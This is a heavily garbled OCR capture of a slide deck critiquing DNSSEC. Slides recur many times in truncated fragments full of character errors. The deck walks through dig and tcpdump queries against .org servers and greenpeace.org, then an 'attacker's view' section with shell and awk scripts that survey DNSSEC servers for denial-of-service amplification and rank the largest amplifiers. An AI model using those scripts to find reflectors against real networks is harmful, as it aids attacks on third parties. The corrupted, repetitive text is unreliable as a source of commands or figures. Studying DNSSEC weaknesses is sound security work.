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into my DNS software.
Because the .org servers

are signing with DNSSEC,
it 1s no longer possible

for attackers to forge
data from those servers!

. oris it?

Decemb

Let's fin

$ dig

do.
al.
cO.

b2

oT,
oT,

or

. OT,
a2.
bO0.

oT,

oT,

$ dig

b0 .

199.1



an that the
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s the first part
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bgraphically
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nticity and

Cryptography! Authority!
Verification! Authenticity!
Integrity! Sounds great!

Now | simply configure
the new .org public key
into my DNS software.
Because the .org servers
are signing with DNSSEC,

it 1s no longer possible

for attackers to forge
data from those servers!

. oris it?

December 2015: r

Let's find a .org

$ dig +short n
dO.org.afilias
a0.org.afilias
cO.org.afilias
b2.org.afilias
aZ2.org.afilias

bO.org.afilias

$ dig +short \
bO.org.afili
199.19.54.1



ds to
cation

d

Cryptography! Authority!
Verification! Authenticity!
Integrity! Sounds great!

Now | simply configure
the new .org public key
into my DNS software.
Because the .org servers

are signing with DNSSEC,
it 1s no longer possible

for attackers to forge
data from those servers!

. oris it?

December 2015: reality

Let's find a .org server

$ dig +short ns org
dO.org.afilias—-nst.
a0.org.afilias—-nst.
cO.org.afilias—-nst.
b2.org.afilias—nst.
aZ2.org.afilias—-nst.

bO.org.afilias—-nst.

$ dig +short \

org.
info
info
org.
info

org.

bO.org.afilias—-nst.orx

199.19.54.1



Cryptography! Authority!
Verification! Authenticity!
Integrity! Sounds great!

Now | simply configure
the new .org public key
into my DNS software.
Because the .org servers

are signing with DNSSEC,
It 1s no longer possible

for attackers to forge
data from those servers!

. oris it?

December 2015: reality

Let's find a .org server:

$ dig +short ns org

dO.org.afilias—-nst.org.
a0.org.afilias—nst.info.
cO.org.afilias—nst.info.
b2.org.afilias—-nst.org.
aZ2.org.afilias—-nst.info.

bO.org.afilias-nst.org.

$ dig +short \
bO.org.afilias—-nst.org

199.19.54.1



raphy! Authority!
lon! Authenticity!
I Sounds great!

mply configure
.org public key
DNS software.
the .org servers
ng with DNSSEC,

onger possible

kers to forge
m those servers!

it?

December 2015: reality

Let's find a .org server:

$ dig +short ns org

dO.org.afilias—nst.org.
a0.org.afilias-nst.info.
cO.org.afilias—nst.info.
b2.org.afilias—-nst.org.
aZ2.org.afilias—nst.info.

bO.org.afilias—nst.org.

$ dig +short \
bO.org.afilias—nst.org

199.19.54.1

Look up

$ dig
WWW

©19!
Everythi

;3 AU
green
364
ns—
;3 AD]
NS — el
364
37 .



thority!
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December 2015: reality

Let's find a .org server:

$ dig +short ns org

dO.org.afilias—-nst.org.
a0.org.afilias—nst.info.
cO.org.afilias—nst.info.
b2.org.afilias—nst.org.
aZ2.org.afilias—nst.info.

bO.org.afilias—nst.org.

$ dig +short \
bO.org.afilias—-nst.org

199.19.54.1

Look up greenpe:

$ dig \
WWW . greenpea

©199.19.54.1
Everything looks r

; ; AUTHORITY S
greenpeace.org
86400 IN NS

ns-emea.gree
;3 ADDITIONAL
ns-emea.greenp

86400 IN A

37.48.104.54



December 2015: reality

Let's find a .org server:

$ dig +short ns org

dO.org.afilias—nst.org.
a0.org.afilias-nst.info.
cO.org.afilias—nst.info.
b2.org.afilias—-nst.org.
aZ2.org.afilias—-nst.info.

bO.org.afilias—-nst.org.

$ dig +short \
bO.org.afilias—nst.org

199.19.54.1

Look up greenpeace.org:

$ dig \
WWW.greenpeace.org \

©199.19.54.1
Everything looks normal:

; ; AUTHORITY SECTION:
greenpeace.org.
86400 IN NS
ns-emea.greenpeace.ox
; 3 ADDITIONAL SECTION:
ns-emea.greenpeace.org.
86400 IN A
37.48.104.54



December 2015: reality

Let's find a .org server:

$ dig +short ns org

dO.org.afilias—-nst.org.
a0.org.afilias-nst.info.
cO.org.afilias—nst.info.
b2.org.afilias—-nst.org.
aZ2.org.afilias—nst.info.

bO.org.afilias—-nst.org.

$ dig +short \
bO.org.afilias—nst.org

199.19.54.1

Look up greenpeace.org:

$ dig \
WWW.greenpeace.org \

©199.19.54.1
Everything looks normal:

; ; AUTHORITY SECTION:
greenpeace.org.
86400 IN NS
ns-emea.greenpeace.org.
;3 ADDITIONAL SECTION:
ns-emea.greenpeace.org.
86400 IN A
37.48.104.54



er 2015: reality Look up greenpeace.org: Where's
Have to
d a .org server: $ dig \
WWW . greenpeace.or $ di
+short ns org 5 P g\ 5
o 0199.19.54.1 WWW
c.afilias—-nst.org.
o , . @19!
c.afilias-nst.info. Everything looks normal:
.afilias-nst.info. Old ans\
; 5 AUTHORITY SECTION:
c.afilias—nst.org. ,
greenpeace.org. h9p7u
oc.afilias—-nst.info. |
36400 IN NS np90u.
c.afilias—-nst.org.
ns—emea.greenpeace.org. C3 1
+short \ ; 3 ADDITIONAL SECTION: 69T6U
org.afilias—nst.org ns—emea.greenpeace.org. NS S
0.54.1 36400 IN A 3PARA
37.48.104.54
h9p7u




eality

SErvVer.:

S org
—nst.org.
-nst.info.
-nst.info.
—nst.org.
-nst.info.

—-nst.org.

as—nst.org

Look up greenpeace.org:

$ dig \
WWW.greenpeace.org \

©199.19.54.1
Everything looks normal:

; ; AUTHORITY SECTION:
greenpeace.org.
86400 IN NS
ns-emea.greenpeace.org.
;3 ADDITIONAL SECTION:
ns-emea.greenpeace.org.
86400 IN A
37.48.104.54

Where's the crypt:
Have to ask for si;

$ dig +dnssec

WWW.greenpea

0199.19.54 .1
Old answer + foul

h9p7u7tr2u91d0
np90u3dh.org. 38
C3 11 1 D399E
69T6US01GSGOEL

NS SOA RRSIG
3PARAM

h9p7u7tr2u91do



Look up greenpeace.org: Where's the crypto?
Have to ask for signatures:

$ dig \
WWW.greenpeace.org \ $ dig +dnssec \
@199.19.54.1 WWW.greenpeace.org \

: ©199.19.54.1
Everything looks normal:

Old answer + four new lines
;3 AUTHORITY SECTION:

greenpeace.org. h9p7u7tr2u91d0v01ljs911g
36400 IN NS np90u3h.org. 86400 IN N
ns—emea.greenpeace.org. C3 1 1 1 D399EAAB HOPAR
; 3 ADDITIONAL SECTION: 69T6US01GSGOE1LMITKADEN
ns—emea.greenpeace.org. NS SOA RRSIG DNSKEY N&S
36400 IN A 3PARAM
37.48.104.54

h9p7u7tr2u91d0v0ljs9lig




Look up greenpeace.org: Where's the crypto?
Have to ask for signatures:

$ dig \
WWW.greenpeace.org \ $ dig +dnssec \
©199.19.54.1 WWW.greenpeace.org \

: ©199.19.54.1
Everything looks normal:

Old answer + four new lines:
;3 AUTHORITY SECTION:

greenpeace.org. h9p7ur7tr2u91d0v0ljs9ligid
86400 IN NS np90u3dh.org. 86400 IN NSE
ns—emea.greenpeace.org. C3 1 1 1 D399EAAB HO9PARRG6
; 5 ADDITIONAL SECTION: 69T6US01GSGOE1LMITK4ADEMOT
ns—emea.greenpeace.org. NS SOA RRSIG DNSKEY NSEC
86400 IN A 3PARAM
37.48.104.54

h9p7u7tr2u91d0v0ljs9ligid




greenpeace.org.

\

.greenpeace.org \

0.19.54.1
ng looks normal:

THORITY SECTION:
peace.org.

00 IN NS

emea . greenpeace.org.
DITIONAL SECTION:
ca.greenpeace.org.
00 IN A

18.104.54

Where's the crypto?
Have to ask for signatures:

$ dig +dnssec \

WWW.greenpeace.org \

0199.19.54 .1
Old answer + four new lines:

h9p7u7tr2u91d0v0ljs9ligid
np90u3h.org. 386400 IN NSE
C3 1 1 1 D399EAAB HOPARRG
69T6US01GSGOE1ILMITK4ADEMOT
NS SOA RRSIG DNSKEY NSEC
3PARAM

h9p7u7tr2u91d0v0ljs9ligid

np90u.
IG NS
06023
448 o:
EZ1/m
UJRUA.
Tcziy!
ALtRD
30Jdf!
YBNTu
Cota .

bgca0,

qng3p:
C3 1



Ace.org:

ce.org \

iormal:

ECTION:

npeace.org.

SECTION:

eace.org.

Where's the crypto?
Have to ask for signatures:

$ dig +dnssec \

WWW.greenpeace.org \

0199.19.54 .1
Old answer + four new lines:

h9p7u7tr2u91d0v0ljs9ligid
np90u3h.org. 36400 IN NSE
C3 1 1 1 D399EAAB HO9PARRG6
69T6US01GSGOE1ILMITKADEMOT
NS SOA RRSIG DNSKEY NSEC
3PARAM

h9p7u7tr2u91d0v0ljs9ligid

np90udh.org. 3
IG NSEC3 7 2 8
06023715 20151
448 org. 0GLya
EZ1/mnvAG3NJ2z
UJRUALKVCzaWJj
TcziyRmM8iYvBN
ALtRDomlrdpsVD
30Jdf2sbfXmZd1l
YBNTujz2NPadBA
Cota 1Bk=

bgcalgOuglOpbo7
gqng3p2f.org. 3
C3 1 1 1 D399E



Where's the crypto?
Have to ask for signatures:

$ dig +dnssec \

WWW.greenpeace.org \

0199.19.54 .1
Old answer + four new lines:

h9p7u7tr2u91d0v0ljs9ligid
np90u3h.org. 386400 IN NSE
C3 1 1 1 D399EAAB HOPARRG
69T6US01GSGOE1ILMITK4ADEMOT
NS SOA RRSIG DNSKEY NSEC
3PARAM

h9p7u7tr2u91d0v0ljs9ligid

np90u3h.org. 86400 IN R
IG NSEC3 7 2 86400 201¢€
06023715 20151216013715
448 org. 0OGLyaFRtHdAROUE
EZ1/mnvAG8NJ2z5nBibALDPY
UJRUALKVCzaWJjZ rpgB6Wg
TcziyRmM31iYvBNwzmUxoPzg
ALtRDomlrdpsVDxGveMJub
30Jdf2sbfXmZd1viiz+RXRv
YBNTujz2NPadBATP1UNrOsk
Cota 1Bk=

bgcalgOuglpbo7425emktIu
gng3p2f.org. 36400 IN N
C3 1 1 1 D399EAAB BGDMY



Where's the crypto?

Have to ask for signatures:

$ dig +dnssec \

WWW.greenpeace.org \

©199.19.54.1

Old answer + four new lines:

h9p7u7tr2u91d0v0ljs9ligid
np90u3h.org. 36400 IN NSE
C3 1 1 1 D399EAAB HOPARRG6
69T6US01GSGOE1ILMITKADEMOT
NS SOA RRSIG DNSKEY NSEC
3PARAM

h9p7u7tr2u91d0v0ljs9ligid

np90u3h.org. 86400 IN RRS
IG NSEC3 7 2 86400 201601
06023715 20151216013715 1
448 org. 0GLyaFRtHdR6UBeq
EZ1/mnvAG8NJ2z5nBibALpYtE
UJRUALKVCzaWJjZ rpgB6WgcF
TcziyRmM3iYvBNwzmUxoPzgkv
ALtRDomlrdpsVDxGveMJu6 pE
30Jdf2sbfXmZd1viiz+RXRvNI
YBNTujz2NPadBATP1UNrOsbQj
Cota 1Bk=

bgcalglOuglpbo7425emktOuesd
gng3p2f .org. 36400 IN NSE
C3 1 1 1 D399EAAB BGDM7MS



the crypto?
ask for signatures:

+dnssec \

.greenpeace.org \

9.19.54 .1
ver + four new lines:

(tr2u91d0v01js91l1igid
3h.org. 86400 IN NSE
1 1 D399EAAB HOPARRG6
301GSGOE1LMITK4DEMOT
JA RRSIG DNSKEY NSEC
Jl

7tr2u91d0v0ljs9ligid

np90u3dh.org. 86400 IN RRS
IG NSEC3 7 2 86400 201601
06023715 20151216013715 1
448 org. 0OGLyaFRtHdR6UBeq
EZ1/mnvAG8NJ2z5nBibALpYtE
UJRUALKVCzaWJjZ rpgB6WgcF
TcziyRmM31iYvBNwzmUxoPzgkv
ALtRDomlrdpsVDxGveMJu6 pE
30Jdf2sbfXmZd1viiz+RXRvNI
YBNTujz2NPadBATP1UNrOsbQ ]
Cota 1Bk=

bgcalgluglpbo7425emktOuesd
gqng3p2f.org. 36400 IN NSE
C3 1 1 1 D399EAAB BGDM7MS

FOV1T
A RR.

bgcal;
qng3p:
IG NS
30150¢
448 o:
P7skO:
Vn/Q4]
Ork7b.
fevVd
StsWz
sK+PU]

ggs9 |



o7

Ynatures:

\

ce.org \

- new lines:

v0ljs9llgid
6400 IN NSE
AAB HO9PARRG
LMITK4DEMOT
DNSKEY NSEC

v01js9ligid

np90u3dh.org. 86400 IN RRS
IG NSEC3 7 2 86400 201601
06023715 20151216013715 1
448 org. 0OGLyaFRtHdR6UBeq
EZ1/mnvAG8NJ2z5nBibALpYtE
UJRUALKVCzaWJjZ rpgB6WgcF
TcziyRmM3iYvBNwzmUxoPzgkv
ALtRDomlrdpsVDxGveMJu6 pE
30Jdf2sbfXmZd1viiz+RXRvNI
YBNTujz2NPadBATP1UNrOsbQj
Cota 1Bk=

bgcalgOuglpbo7425emktOuesd
gng3p2f .org. 36400 IN NSE
C3 1 1 1 D399EAAB BGDM7MS

FOVIT1JFVISFA2
A RRSIG

bgcalOgOugOpbo7
gqng3p2f.org. 8
IG NSEC3 7 2 8
30150037 20151
448 org. Wg2Zha
P7sk04Y/nSp+sR
Vn/Q4DEXqftVYe
Ork7bZ/K+v0+5m
fevV8t4ZmWrs+N
StsWztJ500xdmZ
sK+PUKaB6dx2Bo
ggs9 MBO=



id
SE
RO
0T
EC

1d

np90u3h.org. 86400 IN RRS
IG NSEC3 7 2 86400 201601
06023715 20151216013715 1
448 org. 0OGLyaFRtHdR6UBeq
EZ1/mnvAG8NJ2z5nBibALpYtE
UJRUALKVCzaWJjZ rpgB6WgcF
TcziyRmM31iYvBNwzmUxoPzgkv
ALtRDomlrdpsVDxGveMJu6 pE
30Jdf2sbfXmZd1viiz+RXRvNI
YBNTujz2NPadBATP1UNrOsbQ ]
Cota 1Bk=

bgcalgluglpbo7425emktOuesd
gng3p2f.org. 36400 IN NSE
C3 1 1 1 D399EAAB BGDM7MS

FOVIT1JFVISBFA211MH4JD7U
A RRSIG

bgcalgluglpbo7425emktIu
gqng3dp2f.org. 86400 IN R
IG NSEC3 7 2 86400 2015
30150037 20151209140037
448 org. Wg2ha2mgODnjiV
P7sk04Y/nSp+sR5uhChRWyz
Vn/Q4DEXqftVYeh v/x7Cmz
Ork7bZ/K+v0+5mOMyao6Fod
fevV8t4ZmWrS+NLjNfx/y1l
StsWztJ500xdmZwlEwOALH/
sK+PUKaB6dx2BoEQ1FnlplF
ggs9 MBO=



np90u3dh.org. 86400 IN RRS
IG NSEC3 7 2 86400 201601
06023715 20151216013715 1
448 org. 0OGLyaFRtHdR6UBeq
EZ1/mnvAG8NJ2z5nBibALpYtE
UJRUALKVCzaWJjZ rpgB6WgcF
TcziyRmM3iYvBNwzmUxoPzgkv
ALtRDomlrdpsVDxGveMJu6 pE
30Jdf2sbfXmZd1viiz+RXRvNI
YBNTujz2NPadBATP1UNrOsbQj
Cota 1Bk=

bgcalgOuglpbo7425emktOuesd
gng3p2f .org. 36400 IN NSE
C3 1 1 1 D399EAAB BGDM7MS

FOVIT1JFVIBFA211MH4JD7UJ7
A RRSIG

bgcalgluglOpbo7425emktOued
gqng3p2f .org. 386400 IN RRS
IG NSEC3 7 2 86400 201512
30150037 20151209140037 1
448 org. Wg2ha2mgODnjiVN1
P7sk04Y/nSp+sR5uhChRWyzqgH
Vn/Q4DEXqftVYeh v/x7Cmz2Q
Ork7bZ/K+v0+5mOMyao6Fod8+
fevV8t4ZmWrS+NLjNfx/y1l So
StsWztJ500xdmZwlEwOALH/5g
sK+PUKaB6dx2BoEQiFnlplPSt
ggs9 MBO=



3h.org. 86400 IN RRS
FC3 7 2 86400 201601
15 20151216013715 1
rg. 0OGLyaFRtHdR6UBeq
nvAGENJ2z5nBib5ALpYtE
fKVCzaWJjZ rpgB6bWgcF
RmM31YvBNwzmUxoPzgkv
omlrdpsVDxGveMJu6 pE
2sbfXmZd1viiz+RXRvNI
jz2NPadBATP1UNrOsbQ ]
1Bk=

c0ugOpbo7425emktOued
2f .org. 386400 IN NSE
1 1 D399EAAB BGDMT7MS

FOVIT1JFVISFA211MH4JD7UJ7
A RRSIG

bgcalgluglOpbo7425emktOued
gqng3p2f.org. 86400 IN RRS
IG NSEC3 7 2 86400 201512
30150037 20151209140037 1
448 org. Wg2ha2mgODnjiVN1
P7sk04Y/nSp+sR5uhChRWyzgH
Vn/Q4DEXqftVYeh v/x7Cmz2Q
Ork7bZ/K+v0+5mOMyao6Fod8+
fevV8t4ZmWrS+NLjNfx/y1 So
StsWztJ500xdmZwlEwOALH/5g
sK+PUKaB6dx2BoEQ1Fnl1plPSt
ggs9 MBO=

Wow, th
Must be

$ tcpdu

host
shows p
dig sen
to the .
receives

See mor
$ dig +

org Q@
Sends 8¢
receives
totalling



6400 IN RRS
6400 201601
216013715 1
FRtHdR6UBeq
5nBiSALpYtE
Z rpgB6bWgcF
wzmUxoPzgkv
xGveMJu6 pE
viiz+RXRVNI
TP1UNrOsbQj

425emkt9ued
6400 IN NSE
AAB BGDMT7MS

FOVIT1JFVIBFA211MH4JD7UJ7
A RRSIG

bgcalgOuglOpbo7425emktOued
gqng3p2f .org. 36400 IN RRS
IG NSEC3 7 2 86400 201512
30150037 20151209140037 1
448 org. Wg2ha2mgODnjiVN1
P7sk04Y/nSp+sR5uhChRWyzqgH
Vn/Q4DEXqftVYeh v/x7Cmz2Q
Ork7bZ/K+v0+5mOMyao6Fod8+
fevV8t4ZmWrS+NLjNfx/y1l So
StsWztJ500xdmZwlEwOALH/5g
sK+PUKaB6dx2BoEQiFnlplPSt
ggs9 MBO=

Wow, that's a lot
Must be strong cr

$ tcpdump -n -e
host 199.19.54
shows packet sizes
dig sends 89-byte
to the .org DNS
receives 696-byte

See more DNSSE(
$ dig +dnssec an

org ©199.19.54
Sends 89-byte IP |
receives two |P frz
totalling 2362 byte



ed
SE
MS

FOVIT1JFVIBFA211MH4JD7UJ7
A RRSIG

bgcalgluglOpbo7425emktOued
gqng3p2f.org. 86400 IN RRS
IG NSEC3 7 2 86400 201512
30150037 20151209140037 1
448 org. Wg2ha2mgODnjiVN1
P7sk04Y/nSp+sR5uhChRWyzgH
Vn/Q4DEXqftVYeh v/x7Cmz2Q
Ork7bZ/K+v0+5mOMyao6Fod8+
fevV8t4ZmWrS+NLjNfx/y1 So
StsWztJ500xdmZwlEwOALH/5g
sK+PUKaB6dx2BoEQ1Fnl1plPSt
ggs9 MBO=

Wow, that's a lot of data.
Must be strong cryptograph

$ tcpdump -n -e \

host 199.19.54.1 &
shows packet sizes:
dig sends 89-byte IP packet
to the .org DNS server,
receives 696-byte IP packet.

See more DNSSEC data:
$ dig +dnssec any \
org ©0199.19.54.1
Sends 89-byte IP packet,
receives two IP fragments
totalling 2362 bytes.



FOVIT1JFVIBFA211MH4JD7UJ7
A RRSIG

bgcalgluglOpbo7425emktOued
gqng3p2f .org. 36400 IN RRS
IG NSEC3 7 2 86400 201512
30150037 20151209140037 1
448 org. Wg2ha2mgODnjiVN1
P7sk04Y/nSp+sR5uhChRWyzqgH
Vn/Q4DEXqftVYeh v/x7Cmz2Q
Ork7bZ/K+v0+5mOMyao6Fod8+
fevV8t4ZmWrS+NLjNfx/y1l So
StsWztJ500xdmZwlEwOALH/5g
sK+PUKaB6dx2BoEQiFnlplPSt
ggs9 MBO=

Wow, that's a lot of data.
Must be strong cryptography!

$ tcpdump -n -e \

host 199.19.54.1 &
shows packet sizes:
dig sends 389-byte IP packet
to the .org DNS server,
receives 696-byte IP packet.

See more DNSSEC data:
$ dig +dnssec any \
org ©0199.19.54.1
Sends 89-byte IP packet,
receives two IP fragments
totalling 2362 bytes.



1 JFVIS8FA211MH4JD7UJ7
S1G

oc0ugOpbo7425emktOued
2f .org. 86400 IN RRS
FC3 7 2 86400 201512
037 20151209140037 1
rg. Wg2ha2mgODnjiVN1
1Y /nSp+sR5uhChRWyzqgH
DEXqftVYeh v/x7Cmz2Q
Z./K+v0+b5m0Myao6Fod8+
t4ZmWrS+NLjNfx/y1l So
tJ500xdmZwl1EwOALH/5g
KaB6dx2BoEQ1iFnl1plPSt
BO=

Wow, that's a lot of data.
Must be strong cryptography!

$ tcpdump -n -e \

host 199.19.54.1 &
shows packet sizes:
dig sends 89-byte IP packet
to the .org DNS server,
receives 696-byte IP packet.

See more DNSSEC data:
$ dig +dnssec any \
org ©0199.19.54.1
Sends 89-byte IP packet,
receives two IP fragments
totalling 2362 bytes.

Interlude

What h:
this dat:



11MH4JD7UJ7

425emktOued
6400 IN RRS
6400 201512
209140037 1
2mgODn jiVN1
5uhChRWyzqH
h v/x7Cmz2Q
OMyao6Fod3+
LjNfx/yl So
wlEwOALH/bg
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Wow, that's a lot of data.
Must be strong cryptography!

$ tcpdump -n -e \

host 199.19.54.1 &
shows packet sizes:
dig sends 389-byte IP packet
to the .org DNS server,
receives 696-byte IP packet.

See more DNSSEC data:
$ dig +dnssec any \
org ©0199.19.54.1
Sends 89-byte IP packet,
receives two IP fragments
totalling 2362 bytes.

Interlude: the atts:

What happens if v
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Wow, that's a lot of data.
Must be strong cryptography!

$ tcpdump -n -e \

host 199.19.54.1 &
shows packet sizes:
dig sends 89-byte IP packet
to the .org DNS server,
receives 696-byte IP packet.

See more DNSSEC data:
$ dig +dnssec any \
org ©0199.19.54.1
Sends 89-byte IP packet,
receives two IP fragments
totalling 2362 bytes.

Interlude: the attacker’s vie

What happens if we aim
this data at someone else?



Wow, that's a lot of data.
Must be strong cryptography!

$ tcpdump -n -e \

host 199.19.54.1 &
shows packet sizes:
dig sends 389-byte IP packet
to the .org DNS server,
receives 696-byte IP packet.

See more DNSSEC data:
$ dig +dnssec any \
org ©0199.19.54.1
Sends 89-byte IP packet,
receives two IP fragments
totalling 2362 bytes.

Interlude: the attacker’'s view

What happens if we aim
this data at someone else?



Wow, that's a lot of data.
Must be strong cryptography!

$ tcpdump -n -e \

host 199.19.54.1 &
shows packet sizes:
dig sends 89-byte IP packet
to the .org DNS server,
receives 696-byte IP packet.

See more DNSSEC data:
$ dig +dnssec any \
org ©0199.19.54.1
Sends 89-byte IP packet,
receives two IP fragments
totalling 2362 bytes.

Interlude: the attacker's view

What happens if we aim

this data at someone else?




Wow, that's a lot of data.
Must be strong cryptography!

$ tcpdump -n -e \

host 199.19.54.1 &
shows packet sizes:
dig sends 89-byte IP packet
to the .org DNS server,
receives 696-byte IP packet.

See more DNSSEC data:
$ dig +dnssec any \
org ©199.19.54.1
Sends 89-byte IP packet,
receives two IP fragments
totalling 2362 bytes.

Interlude: the attacker's view

What happens if we aim
this data at someone else?

Let's see what DNSSEC can do
as an amplification tool for

denial-of-service attacks.



at’'s a lot of data.
strong cryptography!

np -n —e \
199.19.54.1 &
acket sizes:

s 89-byte IP packet
org DNS server,
696-byte |P packet.

e DNSSEC data:
dnssec any \
199.19.54.1
)-byte IP packet,
two IP fragments

2362 bytes.

Interlude: the attacker’'s view

What happens if we aim
this data at someone else?

Let's see what DNSSEC can do
as an amplification tool for

denial-of-service attacks.

Downloc

wget -m
secsp
cd secs;

awk ’

/GREE
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Interlude: the attacker's view

What happens if we aim
this data at someone else?

Let's see what DNSSEC can do
as an amplification tool for

denial-of-service attacks.

Download DNSSE

wget -m -k -I /
secspider.cs.u
cd secspider.cs.
awk ’
/GREEN . *GREEN .
split ($0,x,/
sub (/<\/TD>/
print x[5]
Iy
’ . /*—-zone.html

| sort -u | wc -



Interlude: the attacker’'s view

What happens if we aim
this data at someone else?

Let's see what DNSSEC can do
as an amplification tool for

denial-of-service attacks.

Download DNSSEC zone lis

wget -m -k -I / \

secspider.cs.ucla.edu
cd secspider.cs.ucla.edu
awk ’

/GREEN . *GREEN . *GREEN . *Y
split($0,x,/<TD>/)
sub (/<\/TD>/,"",x[5])
print x[5]

¥

’ . /*--zone.html \

| sort -u | wec -1



Interlude: the attacker's view

What happens if we aim
this data at someone else?

Let's see what DNSSEC can do
as an amplification tool for

denial-of-service attacks.

Download DNSSEC zone list:

wget -m -k -I / \

secspider.cs.ucla.edu

cd secspider.cs.ucla.edu

awk ’

)

/GREEN . *GREEN . *GREEN . *xYes/ {

split ($0,x,/<TD>/)
sub(/<\/TD>/,"",x[5])
print x[5]

+
./*——zone.html \

sort -u | wec -1



: the attacker's view
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-service attacks.

Download DNSSEC zone list:

wget -m -k -I / \
secspider.cs.ucla.edu
cd secspider.cs.ucla.edu
awk ’
/GREEN . *GREEN . *GREEN . xYes/ {
split($0,x,/<TD>/)
sub (/<\/TD>/,"",x[5])
print x[5]
¥
’ . /*—-zone.html \

| sort -u | wec -1

Make lis

( cd se
echo

| xar,

/" Z

S

S



icker's view

ve alm
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ttacks.

Download DNSSEC zone list:

wget -m -k -I / \

secspider.cs.ucla.edu
cd secspider.cs.ucla.edu
awk ’

/GREEN . *GREEN . *GREEN . xYes/ {
split ($0,x,/<TD>/)
sub(/<\/TD>/,"",x[5])
print x[5]

¥

’ . /*—-zone.html \

| sort -u | wec -1

Make list of DNSS

( cd secspider.c
echo ./*--zone
| xargs awk ’

/~Zone <STRO
sub (/<STRO
sub (/<\/ST

+

/GREEN . *GREE
split($0,x
sub (/<\/TD
print x[5]

})

) | sort -k3n \

| awk ’{print $1



1<

 do

Download DNSSEC zone list:

wget -m -k -I / \
secspider.cs.ucla.edu
cd secspider.cs.ucla.edu
awk ’
/GREEN . *GREEN . *GREEN . *Yes/ {
split($0,x,/<TD>/)
sub (/<\/TD>/,"",x[5])
print x[5]
¥
’ . /*—--zone.html \

| sort -u | wec -1

Make list of DNSSEC name

( cd secspider.cs.ucla.ed
echo ./*--zone.html \
| xargs awk ’

/~Zone <STRONG>/ { z
sub (/<STRONG>/,"",z
sub (/<\/STRONG>/,""

F

/GREEN . *GREEN . *GREEN .
split ($0,x,/<TD>/)
sub(/<\/TD>/,"",x[5
print x[5],z,rand()

})

) | sort -k3n \
| awk ’{print $1,3$2}’ > S



Download DNSSEC zone list:

wget -m -k -I / \
secspider.cs.ucla.edu
cd secspider.cs.ucla.edu
awk ’
/GREEN . *GREEN . *GREEN . xYes/ {
split ($0,x,/<TD>/)
sub (/<\/TD>/,"",x[5])
print x[5]
¥
’ . /*—-zone.html \

| sort -u | wec -1

Make list of DNSSEC names:

( cd secspider.cs.ucla.edu
echo ./*--zone.html \
| xargs awk ’
/~Zone <STRONG>/ { z = $2
sub (/<STRONG>/,"",z)
sub (/<\/STRONG>/,"",z)
+
/GREEN . *GREEN . *GREEN . *Yes/ {
split ($0,x,/<TD>/)
sub (/<\/TD>/,"",x[5])
print x[5],z,rand()
}J
) | sort -k3n \
| awk ’{print $1,$2}’ > SERVERS



\d DNSSEC zone list:
-k -I / \

ider.cs.ucla.edu

pider.cs.ucla.edu

N. *GREEN . *GREEN . *Yes/ {
it ($0,x,/<TD>/)
(/<\/TD>/,"",x[5])

nt x[5]

zone.html \

-u | we -1

Make list of DNSSEC names:

( cd secspider.cs.ucla.edu
echo ./*--zone.html \
| xargs awk ’
/~Zone <STRONG>/ { z = $2
sub (/<STRONG>/,"",z)
sub (/<\/STRONG>/,"",z)
+
/GREEN . *GREEN . *GREEN . *Yes/ {
split ($0,x,/<TD>/)
sub (/<\/TD>/,"",x[5])
print x[5],z,rand()
})
) | sort -k3n \
| awk ’{print $1,$2}’ > SERVERS

For eacl
estimate

while r
do
dig +
+time:
awk -
if
if
if
if
est

pri

done < |



C zone list:

\

cla.edu

ucla.edu

*GREEN. *Yes/ {
<TD>/)
,"",X[5])

Make list of DNSSEC names:

( cd secspider.cs.ucla.edu
echo ./*--zone.html \
| xargs awk ’
/"Zone <STRONG>/ { z = $2
sub (/<STRONG>/,"",z)
sub (/<\/STRONG>/,"",z)
+
/GREEN . *GREEN . *GREEN . *Yes/ {
split ($0,x,/<TD>/)
sub (/<\/TD>/,"",x[5])
print x[5],z,rand()
}J
) | sort -k3n \
| awk ’{print $1,$2}’ > SERVERS

For each domain:
estimate DNSSEC

while read 1ip z
do
dig +dnssec +1
+time=1 any "$

awk -v "z=$z"

if ($1 ="y
if ($2 '= "M
if ($3 !'="S
if ($4 !'= "r
est = (22+$5

print est,1p
})
done < SERVERS >



es/ A

Make list of DNSSEC names:

( cd secspider.cs.ucla.edu
echo ./*--zone.html \
| xargs awk ’
/~Zone <STRONG>/ { z = $2
sub (/<STRONG>/,"",z)
sub (/<\/STRONG>/,"",z)
+
/GREEN . *GREEN . *GREEN . *Yes/ {
split ($0,x,/<TD>/)
sub (/<\/TD>/,"",x[5])
print x[5],z,rand()
})
) | sort -k3n \
| awk ’{print $1,$2}’ > SERVERS

For each domain: Try query
estimate DNSSEC amplifica

while read ip z

do
dig +dnssec +ignore +tr
+time=1 any "$z" "@$ip"

awk -v "z=$z" -v "ip=8i

if ($1 !'= ";;") next
if ($2 '= "MSG") next
if ($3 != "SIZE") nex
if ($4 '= "rcvd:") ne

est = (22+35)/(40+1en
print est,ip,z
})
done < SERVERS > AMP



Make list of DNSSEC names:

( cd secspider.cs.ucla.edu
echo ./*--zone.html \
| xargs awk ’
/"Zone <STRONG>/ { z = $2
sub (/<STRONG>/,"",z)
sub (/<\/STRONG>/,"",z)
+
/GREEN . *GREEN . *GREEN . *Yes/ {
split ($0,x,/<TD>/)
sub (/<\/TD>/,"",x[5])
print x[5],z,rand()
}J
) | sort -k3n \
| awk ’{print $1,$2}’ > SERVERS

For each domain: Try query,
estimate DNSSEC amplification.

while read 1ip z

do
dig +dnssec +ignore +tries=1 \
+time=1 any "$z" "@$ip" | \

awk -v "Z=$Z" —v "ip=$ip" ){

if ($1 '= ";;") next

if ($2 != "MSG") next
if ($3 != "SIZE") next
if ($4 '= "rcvd:") next

est = (22+835)/(40+length(z))
print est,ip,z
})
done < SERVERS > AMP



t of DNSSEC names:

cspider.cs.ucla.edu
./*——zone.html \

oS awk '’

one <STRONG>/ { z = $2
1b (/<STRONG>/,"",z)

1b (/<\/STRONG>/,"" ,z)

EEN . *GREEN . *GREEN . xYes/ {
p1it ($0,x,/<TD>/)
ub (/<\/TD>/,"",x[5])

rint x[5],z,rand ()

t -k3n \
{print $1,$2}’ > SERVERS

For each domain: Try query,
estimate DNSSEC amplification.

while read ip z

do

dig +dnssec +ignore +tries=1 \

+time=1 any "$z" "@$ip" | \

awk -v n2=$zn —v "ip=$ip" ){

if
if
if
if

est

($1 !'= ";;") next
($2 '= "MSG") next
($3 '= "SIZE") next
($4 '= "rcvd:") next

= (22+$5)/(40+1length(z))

print est,ip,z

})

done < SERVERS > AMP

For eacl
find don

maximul

SOrt —n
if (s
if ($
print
seen [!

}’> > MA

head -1

wc -1 M

Output

95.6279
2326 MA.



